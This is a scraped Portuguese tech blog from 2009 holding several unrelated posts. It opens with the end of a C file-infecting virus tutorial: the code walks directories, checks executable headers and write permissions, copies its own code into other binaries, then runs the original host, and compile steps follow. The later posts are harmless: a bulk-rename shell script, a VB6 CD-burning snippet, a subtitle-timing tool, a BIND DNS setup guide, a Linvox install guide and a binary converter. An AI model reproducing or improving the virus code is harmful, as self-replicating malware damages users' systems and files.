   /*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/
   if (ret <= 0)
   {
      close (file_exec);
      return;
   }

   for (i=0; i<=23; i++)
   {
      /* Se tiver alguma diferença no cabeçalho, não é binário */
      if (CABEC_EXEC[i] != bout[i])
      {
         close (file_exec);
         return;
      }
   }

   /* Se o usuário for root ou for igual ao dono do arquivo no caso do grupo, tem que ter direito de escrita outro caso é se o arquivo der direito de escrita para todos nestes 4 casos, podemos continuar */
   if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;

   infecta (arq, attrib);
}

void buscaInfecta (char *d)
{
   struct dirent *dir;
   DIR *path;
   char *strArq;
   char *dt;
   int tam;

   tam = strlen(d);
   dt=(char *)malloc (tam+1);
   strcpy (dt, d);
   /* retirando a barra do fim do nome em caso de diretório para ficar padrão quando for diretório a barra será recolocada*/
   if (dt[tam-1]=='/')
   {
      dt[tam-1]='\0';
      tam--;
   }

   if (!(path=opendir (dt))) { free (dt); return; }
   while(dir = readdir(path))
   {
      usleep (1000);
      strArq=(char *)malloc(tam + strlen (dir->d_name) + 2);
      strcpy (strArq, dt);
      strcpy (&strArq[tam], "/");
      strcpy (&strArq[tam+1], dir->d_name);

      if ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0))
         buscaInfecta (strArq);
      else if (dir->d_type==8)
         tentaInfectar (strArq);

      free (strArq);
   }
   closedir (path);
   free (dt);
}


void pegaDadosExport (void)
{
   /* Pegando a Variável PATH do sistema */
   _PATH_ = getenv("PATH");

   /* pegando id do usuário e do grupo do usuário que está executando a aplicação */
   _USER_ = getuid();
   _GROUP_= getgid();
}

int pegaCodVirus (char *exec)
{
   /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */

   FILE *file_exec;
   char *diret;
   char *tmp;
   int i=0, j=0;
   int tamstr;
   int achou=0;
   long ret;

   /* caso não tenha digitado todo o path do arquivo */
   if (!(file_exec=fopen(exec,"r")))
   {
      tamstr=strlen(exec);

      /* Busca no PATH do sistema*/
      while (1)
      {
         if ((_PATH_[i]==':') || (_PATH_[i]=='\0'))
         {
            tmp=&_PATH_[j];
            diret=(char *)malloc(i-j+tamstr+2);
            strncpy (diret, tmp, i-j);
            diret[i-j]='\0';
            strcat (diret, "/");
            strcat (diret, exec);

            if (file_exec=fopen(diret,"r"))
            {
               free (diret);
               achou = 1;
               break;
            }

            free (diret);
            if (_PATH_[i]=='\0') break;
            j=++i;
         }
         else i++;
      }
      if (!(achou)) return 0;
   }

   ret = fread (codvirus, 1, tamVir, file_exec);
   if (ret <= 0) /* Não conseguiu copiar todo o código do vírus*/
   {
      close (file_exec);
      return 0;
   }

   close (file_exec);
   return 1;
}

void executaHospedeiro (char *exec, int qtde, char *param[])
{
   /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */

   FILE *file_exec;
   FILE *file_tmp;
   char *diret;
   char *tmp;
   char tmpstr[1024];
   int i=0, j=0;
   int tamstr;
   int achou=0;
   long ret;
   char prog[512];

   /* caso não tenha digitado todo o path do arquivo */
   if (!(file_exec=fopen(param[0],"r")))
   {
      tamstr=strlen(param[0]);

      /* Busca no PATH do sistema*/
      while (1)
      {
         if ((_PATH_[i]==':') || (_PATH_[i]=='\0'))
         {
            tmp=&_PATH_[j];
            diret=(char *)malloc(i-j+tamstr+2);
            strncpy (diret, tmp, i-j);
            diret[i-j]='\0';
            strcat (diret, "/");
            strcat (diret, param[0]);

            if (file_exec=fopen(diret,"r"))
            {
               free (diret);
               achou = 1;
               break;
            }

            free (diret);
            if (_PATH_[i]=='\0') break;
            j=++i;
         }
         else i++;
      }
      if (!(achou)) return;
   }

   strcpy (prog,exec);

   for (ret=1; ret<qtde; ret++)
   {
      strcat (prog," ");
      strcat (prog,param[ret]);
   }

   if (!(file_tmp=fopen(exec,"w+")))
   {
      close (file_tmp);
      return;
   }

   fseek(file_exec,tamVir,SEEK_SET);
   while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);

   close (file_exec);
   close (file_tmp);

   chmod (exec,493);

   system (prog);

   unlink(prog);
   return;
}

int main (int argc, char *argv[])
{
   int i;

   i=fork();

   if (i==0)
   {
      pegaDadosExport ();

      /* pega o código binário do vírus para infectar os outros ou então pula a infecção */
      if (pegaCodVirus (argv[0])) buscaInfecta ("./");
      acao;
   }
   else executaHospedeiro ("./arqexec", argc, argv);
}


Compilar com:

$ gcc virus1.c -o virus

O valor de "tamVir" irá variar de acordo com a ação escolhida. Compile o vírus, use o ls -l para verificar o tamanho do executável e modifique o valor de acordo com a tamanho encontrado. Compile novamente o vírus.

A execução do hospedeiro está retornando a seguinte mensagem: "Área de texto ocupada".

Deixei essa parte para quem quiser resolver, já que essa parte 1 é apenas para começar a ilustrar o funcionamento do vírus.

Script para renomear todos os arquivos



Contador de acessoVisitas


Uma das coisas que sentia falta no linux era um comando fácil para renomear todos os arquivos de uma só vez, como no DOS ren *.txt *.bkp

Esse script renomeia qualquer parte do arquivo, sendo que não precisa o * pois pressupõe-se que ele será usado para renomear todos os arquivos de uma pasta. O escript recebe 2 parâmetros: o que será substituído e o que substituirá.

ex.:
mvall .txt .html #renomeia todo arquivo .txt para .html
mvall 2 4 #altera qualquer ocorrência de 2 para 4


#!/bin/sh

if [ $# -le 1 ]; then
   echo "Faltando parametro. $0 <a substituir> <subistituto> "
   exit
fi

a="*"$1"*"

for o in $(ls -1 $a); do
   if [ -f $o ]; then
      mv $o "${o//$1/$2}"
   fi
done

quinta-feira, 26 de março de 2009

Gravação de CD/DVD com API do Windows



Contador de acessoVisitas


Abra um projeto no Visual Basic 6.

Adicione a referência (Projetc > References) "VB CD Mastering API Type Library".

Inclua o Código Abaixo.


Dim VcSCDBurner As cSimpleCDBurner

Sub GravaCD (ByVal arq As String)
   Set VcSCDBurner = New cSimpleCDBurner

   'Você também pode passar o Handle como parâmetro
   VcSCDBurner.Initialise Me.hwnd

   'Verificando se tem unidade de Gravação de CD/DVD
   If Not VcSCDBurner.HasRecordableDrive Then Exit Sub

   'Se quiser saber Qual a Unidade de CD basta usar
   Dim Unid As String
   Unid = VcSCDBurner.RecorderDriveLetter

   'Copiando o arquivo para pasta temporária de gravação
   'Neste ponto, você pode copiar pasta, vários arquivo, renomeando;
   'depende de sua necessidade
   FileCopy arq, VcSCDBurner.BurnStagingAreaFolder

   'Executando o assistente de gravação do Windows
   VcSCDBurner.Burn

End Sub



Obs.: A gravação só está disponível para versões do Windows Superiores ao Windows XP. Para identificar a versão do Windows.

O arquivo responsável pela API é o IVBIMAPI.tlb.

Ajustando o sincronismo da legenda com o filme



Contador de acessoVisitas


O programa utiliza o ajuste passado como parâmetro para
sincronizar a legenda dos filmes. são aceitos valores negativos
e positivos em milisegundos.

exemplo: Se a legenda estiver com atrazo de 1 min e 2,345 s
será utilizado um ajuste de - (1*60*1000) + (2 * 1000) + 345 = -62345

O código pode ser usado, distribuído e melhorado sem nenhuma restrição.
Peço que em caso de meloras, me envie a melhoria para que eu tenha também.
gjr_rj@msn.com


/*
Programa para sincronização de legendas no formato srt.
Por: Geraldo José Ferreira Chagas Júnior
20/07/2008
compilador: gcc - GNU/Linux
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const int TAMLINHA=256;

long strToMili (char* str);
void miliToStr (long mili, char* str);

int main (int argc, char* argv[])
{
   char opc;
   char* arqOri;
   char* arqDest;
   long ajust;

   FILE* fOri;
   FILE* fDest;

   long tamArq;

   /* esse jogo com as duas variáveis de percentual servira para não ficar
   imprimindo o percentual o tempo todo, caso não tenha mudado*/
   int percent;
   int percentAnt=-1;

   char linha [TAMLINHA];
   char temp [20];

   char* sub;
   int pos;

   if (argc != 4)
   {
      printf ("Os parâmetros são:\n");
      printf ("1 - Arquivo a ser convertido\n");
      printf ("2 - Ajuste da sincronização em milisegundos\n");
      printf ("3 - Arquivo sincronizado\n");
      return 0;
   }

   arqOri = argv[1];
   arqDest = argv[3];
   ajust = atoi (argv[2]);


   if (!(fOri=fopen(arqOri, "r")))
   {
      printf ("Erro na abertura do arquivo de origem !\n");
      return 0;
   }

   if ((fDest=fopen(arqDest, "r")))
   {
      close (fDest);
      printf ("O aquivo de destino %s já existe. Deseja substitui-lo (s/n) ? ", arqDest);
      opc = getchar();
      if ((opc!='S') && (opc!='s')) exit (0);
   }

   if (!(fDest=fopen(arqDest, "w+")))
   {
      printf ("Erro na abertura do arquivo de destino !\n");
      return 0;
   }

   /* pegando o tamanho do arquivo de origem para imprimir a porcentagem */
   fseek (fOri, 0, SEEK_END);
   tamArq = ftell (fOri);
   /* voltando ao inicio do arquivo */
   fseek (fOri, 0, SEEK_SET);

   printf ("0 %c convertido.",'%');
   while (fgets (linha, TAMLINHA, fOri))
   {

      if (sub=strstr(linha," --> "))
      {
         pos = sub - &linha[0];
         strcpy (temp, &linha[pos+5]);
         miliToStr (strToMili (linha)+ajust, linha);
         miliToStr (strToMili (temp)+ajust, temp);
         strcat (linha, " --> ");
         strcat (linha, temp);
         strcat (linha, "\n");
      }

      fputs (linha, fDest);


      percent = ftell (fOri) * 100 / tamArq;

      if (percent!=percentAnt)
      {
         printf ("\r%d %c convertido.",percent,'%');
         percentAnt=percent;
      }
   }

   printf("\n");
   close (fOri);
   close (fDest);
}

long strToMili (char* str)
{
   char temp[10];
   long h;
   long m;
   long s;

   int i=0;
   int j=0;

   while (str[i]!='\0')
   {
      if ((str[i]==' ') || (str[i]==':')) break;
      temp[j++]=str[i++];
   }

   temp[j]='\0';
   h=atoi(temp) * 60 * 60 * 1000;
   if (str[i]!='\0')
   {
      i++;
      j=0;
   }

   while (str[i]!='\0')
   {
      if ((str[i]==' ') || (str[i]==':')) break;
      temp[j++]=str[i++];
   }

   temp[j]='\0';
   m=atoi(temp) * 60 * 1000;

   if (str[i]!='\0')
   {
      i++;
      j=0;
   }

   while (str[i]!='\0')
   {
      if ((str[i]==' ') || (str[i]==':') || (str[i]==',')) break;
      temp[j++]=str[i++];
   }

   temp[j]='\0';
   s=atoi(temp) * 1000;

   if (str[i]!='\0')
   {
      i++;
      j=0;
   }

   while (str[i]!='\0')
   {
      if (str[i]==' ') break;
      temp[j++]=str[i++];
   }

   temp[j]='\0';
   return (h + m + s + atoi(temp));
}

void miliToStr (long mili, char* str)
{
   char temp[20];
   long h;
   long m;
   long s;
   int i;

   h = (mili - (mili % 3600000)) / 3600000;
   mili = mili-(h*3600000);

   m = (mili - (mili % 60000)) / 60000;
   mili = mili-(m*60000);

   s = (mili - (mili % 1000)) / 1000;
   mili = mili-(s*1000);

   snprintf(str,20,"%2d:%2d:%2d,%3d", h, m , s, mili);
   for (i=0;str[i]!='\0';i++)
   {
      if (str[0]==' ')
         str[0]='0';
      else if ((str[i]==' ') && (str[i-1] != '>') && (str[i+1] != '-'))
         str[i]='0';

   }

}

quarta-feira, 25 de março de 2009

Configurando Servidor de Nomes - DNS (Debian)



Contador de acessoVisitas


Introdução

Referir-se aos hosts pelo seu endereço IP é bastante conveniente para computadores, porém para as pessoas o ideal é referir-se pelo seu nome. Para isso precisamos de uma tabela que converta o IP em nome e nome em IP.

Porém com o crescimento, já com milhares de computadores e outros milhares entrando, na internet fica impossível para qualquer um manter uma tabela desse tipo sempre atualizada. É ai que entra o servidor DNS, ou servidor de Nomes. O Servidor de nomes é uma base de dados, pública, mantida pelos sites que proporcionam a tradução já citada.

O arquivo hosts.txt
A velhos tempos, quando haviam poucos computadores conectados a ARPAnet (antiga rede predecessora da internet), cada computador tinha um arquivo hosts.txt, que depois foi alterado para o /etc/hosts no UNIX. Esse arquivo continha informações sobre todos os hosts da rede. Com tão poucos computadores, o arquivo era pequeno e fácil de mantê-lo atualizado.

A manutenção do arquivo hosts.txt era mantido pela SRI-NIC. Quando os administradores queriam fazer uma alteração no arquivo, enviavam a solicitação por e-mail. Quando uma alteração era feita, os administradores baixavam o arquivo via FTP.

A medida que a internet crescia, a idéia da administração centralizar os nomes dos hosts e a atualização do arquivo hosts.txt tornaram-se um grande problema, então a SRI-NIC projetou, no início dos anos 80, um banco de dados distribuído para substituir o hosts.txt. Esse novo sistema ficou conhecido como Domain Name System (DNS).

O DNS

O DNS é um banco de dados distribuído criado sob uma estrutura de domínio hierárquica. Cada computador que se conecta a internet o faz a partir de um domínio Internet. Cada domínio internet tem um nome de servidor com um banco de dados dos hosts em seu domínio. Quando um domínio se torna muito grande, a tarefa pode ser delegada a subdomínios, a fim de reduzir a carga administrativa.

O arquivo /etc/hosts
Ainda que o DNS se constitua no principal meio de resolução de nomes, ainda é encontrado na maioria das máquinas o arquivo /etc/hosts. Esse arquivo pode acelerar na resolução de nomes solicitados com freqüência, como o IP local. Além disso alguns nomes tem que ser resolvidos, no boot, antes que um DNS seja utilizado, como exemplo o caso de servidores NIS. Esse mapeamento é definido no arquivo /etc/hosts.

Exemplo de arquivo /etc/hosts:

#IP Endereço Alias
127.0.0.1 localhost
192.168.1.1 servidor www
72.51.46.57 www.vivaolinux.com.br vivaolinux


A coluna a esquerda é o IP a ser resolvido. A coluna seguinte é o nome do host correspondente àquele IP. Qualquer coluna seguinte será alias para o host.

Instalando o servidor DNS

No Debian a instalação do servidor de nomes é muito fácil, basta, como root, digitar o seguinte comando em um terminal:

# apt-get install bind

Com esse comando iremos instalar o bind, que é o padrão da distribuição Debian. Poderia ser instalado também o named, que pode ser a melhor opção para outras distribuições, porém, não entraremos nesse caso.

Obs.: O servidor DNS e o cliente DNS são diferentes.

Todo computador Linux habilitado para comunicar-se entre rede possui um software chamado de cliente DNS, também conhecido como resolver. O resolver simplesmente consulta um servidor DNS atribuído no arquivo /etc/resolv.conf. A consulta segue a ordem do arquivo.

Servidores DNS retornam os valores consultados após consultarem o arquivo /etc/bind/named.conf e as referências para as quais ele aponta. Os clientes perguntam e os servidores respondem, muitas vezes após consultarem outros servidores.

A confusão muitas vezes surge quando temos o cliente e o servidor em uma mesma máquina, principalmente quando o cliente consulta o servidor da mesma máquina. Por isso, sempre devemos lembrar de que o cliente ou resolver utiliza o /etc/resolv.conf. Todos os outros como o /etc/bind/named.conf e os arquivos apontados por ele pertencem ao servidor.

Terminologia DNS

Cliente DNS - Componentes de software em todos os computadores da rede que transformam o endereço IP em nome e nome em endereço IP. Em máquinas Linux Debian, o cliente busca informações no arquivo /etc/resolv.conf.

Resolvedor - Para propósitos práticos, um sinônimo para Cliente DNS.

Servidor DNS - Componente de software que retorna a tradução de endereço IP em nome e de nome em endereço IP ao cliente DNS que solicitou. Em máquinas Linux Debian, o servidor DNS busca suas configurações no arquivo /etc/bind/named.conf.

Resolver - Converte endereço IP em um nome e um nome em endereço IP. Isso é feito pelo DNS e às vezes por outro software.

Zona - Um subdomínio ou sub-rede sobre os quais um servidor DNS possui autoridade.

Mestre - Um servidor DNS com autoridade sobre uma zona cujos dados são derivados dos arquivos de dados local. Assim um servidor de nomes pode ser mestre para algumas zonas e escravo para outras.

Primário - Sinônimo para mestre.

Escravo - Um servidor de nomes cuja autoridade sobre uma zona depende de dados derivados de outro servidor de nomes em uma zona de transferência. O outro servidor de nomes tanto pode ser um mestre como um outro escravo. Observe que um servidor de nomes pode ser mestre para algumas zonas e escravo para outras.

Secundário - Sinônimo para escravo.

Zona de Transferência - Uma transferência feita entre um servidor DNS mestre ou escravo e um servidor DNS escravo. O escravo inicia a zona de transferência após um tempo de refresh ou após ser notificado de que os dados no servidor remetente foram alterados.

Configurando um servidor DNS

O servidor DNS é um sistema potencialmente complexo, configurado por uma série de arquivos surpreendentemente confiáveis. Esses arquivos são formados por um arquivo de boot e vários arquivos de dados de zona, onde cada arquivo de zona é apontado por um registro de zona no arquivo de boot.

Com os exemplos essa explicação ficará mais clara.

No Debian, com o bind instalado, o arquivo de boot DNS é o /etc/bind/named.conf.

Comentários neste arquivo podem ser feitos de três formas:

/* estilo c */
// estilo c++
# estilo shell

Outras declarações seguem o formato:

Keyword {statement; statement; ...; statement;};

Tudo neste arquivo é delimitado por chaves, espaço e ponto-e-vírgula. Logo, espaçamento múltiplos, tab, quebra de linha não afetam a configuração.

Inclua no arquivo o apontamento da zona que corresponde ao seu domínio, informando em qual arquivo ele deve procurar a configuração de zona quando o seu domínio for digitado.


zone "dominio.casa" { # domínio da rede que deseja incluir no DNS
type master;
file "/etc/bind/dominio.casa.zone"; # arquivo que conterá as informações para tradução do nome
};


Agora inclua o apontamento para o IP reverso. Neste caso, qualquer endereço ip na sub-rede especificada será tratada pelo arquivo apontado por ele.


zone "1.168.192.in-addr.arpa" { # endereço da sub-rede
type master;
file "/etc/bind/named.198.168.1"; # arquivo de configuração que tratará o IP
};


Os arquivos de zona, no nosso caso estarão na diretório /etc/bind/. Os arquivos de zona são apontados pela declaração zone do arquivo de boot.

A primeira coisa a entender sobre os arquivos de zona é que sua sintaxe é totalmente diferente do arquivo de boot named.conf.

Há 10 registros possíveis:

* SOA - inicialização de autoridade
* NS - nome do servidor
* A - registro de endereço
* PTR - registro de ponteiro
* MX - intercâmbio de carreio
* CNAME - nome canônico
* RP e TXT - as entradas de documento
* HINFO - informações sobre os host
* NULL - registro de recurso nulo sem formato de dados

Supondo que o endereço de sua sub-rede seja 192.168.1 e que o servidor é 192.168.1.1, o computador 1 é 192.168.1.2 e o computador 3 192.168.1.3.

Crie o primeiro arquivo o /etc/bind/dominio.casa.zone e adicione o seguinte código:


$TTL 604800
@ IN SOA dominio.casa. root.dominio.casa. ( # indica para qual domínio o SOA é obrigatório
200007201 ; serial (d. adams) # Serial que mostra aso DNS secundários como realizar transferência de zona
28800 ; refresh # indica o tempo em segundos de intervalo para o servidor DNS secundário consultar o primário para saber se houve alteração
14400 ; retry # tempo em segundo para conexão com o servidor primário caso a tentativa no tempo de refresh falhe
3600000 ; expiry # tempo de descarte das informações no cache
84400 ) ; minimum # indica quanto tempo os dados devem ser guardados no cache antes que expire a validade
;

www IN A 192.168.1.1
www2 IN A 192.168.1.1
www3 IN A 192.168.1.1
serv IN A 192.168.1.1
comp1 IN A 192.168.1.2
comp2 IN A 192.168.1.3

@ IN MX 10 dominio.casa.c
@ IN NS dominio.casa.
@ IN A 192.168.1.1


Neste caso o endereço www.dominio.casa, www2.dominio.casa, www3.dominio.casa e serv.dominio.casa se referem ao mesmo IP ao 192.168.1.1.

O host comp1.dominio.casa se refere ao IP 192.168.1.2 e comp2.dominio.casa te levará ao micro com IP 192.168.1.3.

No caso do IP reverso, crie o arquivo /etc/bind/named.198.168.1 com as seguintes linhas:


$TTL 604800
@ IN SOA dominio.casa. root.dominio.casa. (
2000072001 ; Serial
28800 ; Refresh
14400 ; Retry
3600000 ; Expire
86400 ) ; Minimum

@ IN NS dominio.casa.
10 IN PTR dominio.casa.


Os dados no arquivo de IP reverso tem o mesmo significado do arquivo anterior.

Linvox - Sistema Linux voltado para deficientes visuais



Contador de acessoVisitas


O DOSVOX

O DOSVOX é um sistema desenvolvido pelo Núcleo de Computação Eletrônica (NCE) da UFRJ dedicado aos deficientes visuais. Através de uma síntese de voz, a comunicação computador / usuário é feita dando total independência aos mesmos.

O "sistema" foi desenvolvido em princípio para o SO DOS, por isso o nome DOSvox, que não se alterou apesar da evolução do projeto. Hoje o DOSVOX pode ser utilizado até no Windows Vista.

O que diferencia o DOSVOX dos outros softwares de síntese de voz é que o DOSVOX não é um simples leitor de tela, o que faz com que deficientes se esforcem para entender layouts desenvolvidos para videntes. O DOSVOX é uma complexidade de sistema que leva em consideração as necessidades e limitações dos deficientes visuais, tornando assim os softwares agradáveis, fáceis e práticos sem interferir na eficiência.

Apesar de utilizar a primeira síntese de voz brasileira, nada impede que utilize outra síntese de voz ou outras sínteses comerciais incluindo sínteses em outros idiomas.

O DOSVOX é uma série de programas que permitem que as tarefas diárias sejam feitas sem esforço pelos cegos. O programa é composto de uma interface adaptativa para o sistema operacional, no qual permite fazer as operações básicas como copiar; mover, renomear, criar, excluir arquivos e diretórios, formatar mídias etc; navegador, correio eletrônico, editores de texto, bate-papo, trocador de arquivos, tocador de mídias e tudo que uma pessoa normalmente necessita ter no computador para seu uso diário e profissional.

A melhor parte do projeto é que praticamente todos os desenvolvedores são deficientes visuais. Exceto o Gerente do Projeto, meu grande amigo José Antônio Borges e na época EU. O projeto demostra a grande qualidade dos desenvolvedores cegos como Marcelo Pimentel e meus amigos: Bernard Condorcet, Neno ALbernaz e Renato Costa.


O LINVOX

O LINVOX é o início da transformação do sistema DOSVOX e seus utilitários para o sistema operacional Linux.

Essa necessidade mostra o crescimento do Linux que faz com que os softwares sejam criados para essa plataforma por necessidade de seus usuários. Neste caso específico mostrando o a necessidade da utilização para um grupo que muitos consideram inusitado.

Como avia necessidade de resultado em um curto espaço de tempo, essa primeira versão não foi rescrita para a plataforma Linux e sim optado pela utilização do emulador wine. O resultado segundo os desenvolvedores foi "extremamente satisfatório". Porém esperamos que um LINVOX nativo seja nos apresentado em breve.

A versão está disponível para o Kurumin 6.0.

Instalando o LINVOX
Quem já utiliza uma distribuição do Linux pode optar pela instalação manual. Porém quem não tem pode optar pela utilização de um CD com uma imagem ISO pré-configurada. Neste caso não é necessário a instalação do Linux na máquina, pois o CD é butável e contém o LINVOX baseado na distribuição Kurumin.

A imagem criada para rodar a partir do CDROM vem com o Kurumin, o Wine e o Linvox pré-configurado. Neste caso os arquivos serão carregados na memória fazendo com que seu desempenho dependa da velocidade do CD-ROM e da quantidade de memória disponível em sua máquina.

Também é possível através do ISO instalar o Lurumim, o Wine e o Linvox direto no HD, o que deixará a execução do Linvox mais rápida, porém essa instalação APAGARÁ O SEU HD.

As ISOs podem ser baixadas de:

* http://intervox.nce.ufrj.br/linvox/linvox-2.0.iso


Verificador MD5:
http://intervox.nce.ufrj.br/linvox/linvox-2.0.iso.md5

Para quem já utiliza o Linux e deseja fazer a instalação manual (Debian):

Instale o Wine:

# apt-get update
# apt-get install wine

Baixe o Linvox de:

* http://intervox.nce.ufrj.br/linvox/linvox-2.0.deb


# cd $HOME
# dpkg -i linvox-2.0.deb
# tar -zxvf linvox_local-2.0.tar.gz
# chown -R knoppix.knoppix .wine (ou o nome da sua conta no lugar de knoppix)

Se o seu sistema não possui o comando dpkg, você pode usar ainda:

# cd /
# tar -zxvf linvox.tar.gz
# chmod -R 755 /opt/winvox
# cd $HOME
# tar -zxvf linvox_local-2.0.tar.gz
# chown -R knoppix.knoppix .wine (ou o nome da sua conta no lugar de knoppix)

Estes comandos devem instalar o DOSVOX no diretório /opt da sua partição Linux e os arquivos com as configurações do WINE e do DOSVOX no seu diretório local.

Não esqueça de instalar o fonte "Courier New" com o comando "wine courier32.exe", para uma formatação adequada do DOSVOX para os videntes.

Para maiores informações visite o site do projeto:

* http://intervox.nce.ufrj.br/linvox/

Conversor binário



Contador de acessoVisitas



#include <stdio.h>
#include <string.h>
#define iifi(c) (((c)=='0') ? (0) : (1))


void intTohex (unsigned long int b, char* hex)
{
   char vet[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
   unsigned long int r;

   r = b % 0x10; hex[7] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[6] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[5] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[4] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[3] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[2] = vet[r]; b = b >> 0x4;
   r = b % 0x10; hex[1] = vet[r]; b = b >> 0x4;

   hex[0] = vet[b];
   hex[8] = '\0';
}

unsigned long int binToInt (char *str)
{
   return iifi(str[0])*128 + iifi(str[1])*64 + iifi(str[2])*32 + iifi(str[3])*16 + iifi(str[4])*8 + iifi(str[5])*4 + iifi(str[6])*2 + iifi(str[7]);
}

void arruma (char *dest, char *ori)
{
   int i;
   int t;
   t=strlen(ori)-1;
   for (i=7; i>=0;i--)
   {
      if (t>=0) dest[i]=ori[t]; else dest[i]='0';
      t--;
   }
   dest[8]='\0';
}

char inToChar (unsigned long int val)
{
   if ((val > 32) && (val < 127)) return val; else return '.';
}

int main (int argc, char* argv[])
{
   char temp[9];
   unsigned long int valInt;
   char c;
   int i;

   if (argc<2)
   {
      printf ("Parametro incorreto.\n");
      printf ("Informe apenas os valores em binário\n");
      return 1;
   }

   for (i=1; i<argc;i++)
   {
      arruma(temp, argv[i]);
      valInt=binToInt(temp);
      intTohex(valInt,temp);
      c = inToChar (valInt);
      printf ("Inteiro=%d Hexa=%s char=%c\n",valInt, temp, c);
   }
}
Advogados
Visitas